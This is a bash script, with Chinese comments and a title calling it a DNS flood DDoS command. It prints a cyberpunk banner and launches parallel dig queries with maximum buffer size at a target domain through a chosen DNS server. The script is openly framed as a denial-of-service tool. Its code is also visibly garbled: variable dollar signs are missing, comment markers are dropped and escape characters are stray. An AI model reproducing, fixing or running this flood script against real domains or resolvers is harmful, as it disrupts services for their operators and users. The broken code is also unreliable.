dns形式的floodddos命令

#!/bin/bash

赛博朋克风格终端颜色定义

RED="\033[1;31m"

GREEN="\033[1;32m"

YELLOW="\033[1;33m"

BLUE="\033[1;34m"

MAGENTA="\033[1;35m"

CYAN="\033[1;36m"

RESET="\033[0m"

脚本参数配置 - 按需修改

TARGET_DOMAIN="example.com" # 目标域名

DNS_SERVER="8.8.8.8" # 指定DNS服务器(可选)

MAX_THREADS=15 # 并行线程数

MAX_BUFSIZE=65535 # UDP数据包最大尺寸(65535字节)

QUERY_TYPE="A" # DNS查询类型(A/AAAA/CNAME等)

赛博朋克风格启动横幅

clear

echo -e "{MAGENTA}============================================={RESET}"

echo -e "{CYAN} ██████╗ ██╗ ██╗██████╗ ███████╗{RESET}"

echo -e "{CYAN} ██╔══██╗██║ ██║██╔══██╗██╔════╝{RESET}"

echo -e "{CYAN} ██████╔╝██║ ██║██████╔╝█████╗ {RESET}"

echo -e "{CYAN} ██╔══██╗██║ ██║██╔══██╗██╔══╝ {RESET}"

echo -e "{CYAN} ██████╔╝╚██████╔╝██████╔╝███████╗{RESET}"

echo -e "{MAGENTA}============================================={RESET}"

echo -e "{YELLOW}\[+\] CYBER DIG BRUTE FORCE - MULTI THREAD MODE{RESET}"

echo -e "{YELLOW}\[+\] TARGET : {RED}{TARGET_DOMAIN}{RESET}"

echo -e "{YELLOW}\[+\] DNS SERVER: {RED}{DNS_SERVER}{RESET}"

echo -e "{YELLOW}\[+\] THREADS : {RED}{MAX_THREADS}{RESET}"

echo -e "{YELLOW}\[+\] BUFSIZE : {RED}{MAX_BUFSIZE} BYTES{RESET}"

echo -e "{MAGENTA}============================================={RESET}"

sleep 2

生成线程任务列表并执行多线程dig

seq $MAX_THREADS 生成1~15的序列，xargs -P 指定并行数

seq {MAX_THREADS} \| xargs -I {} -P {MAX_THREADS} bash -c '

子线程执行dig命令，-b 设置数据包大小，+short 简化输出

dig @{DNS_SERVER} {TARGET_DOMAIN} {QUERY_TYPE} +bufsize={MAX_BUFSIZE} +short

echo -e "{GREEN}\[THREAD 1] {BLUE}QUERY COMPLETE - BUFSIZE: {MAX_BUFSIZE}${RESET}"

' _ {}

脚本结束提示

echo -e "\n{MAGENTA}\[+\] ALL THREADS FINISHED - CYBER DIG MISSION COMPLETE{RESET}"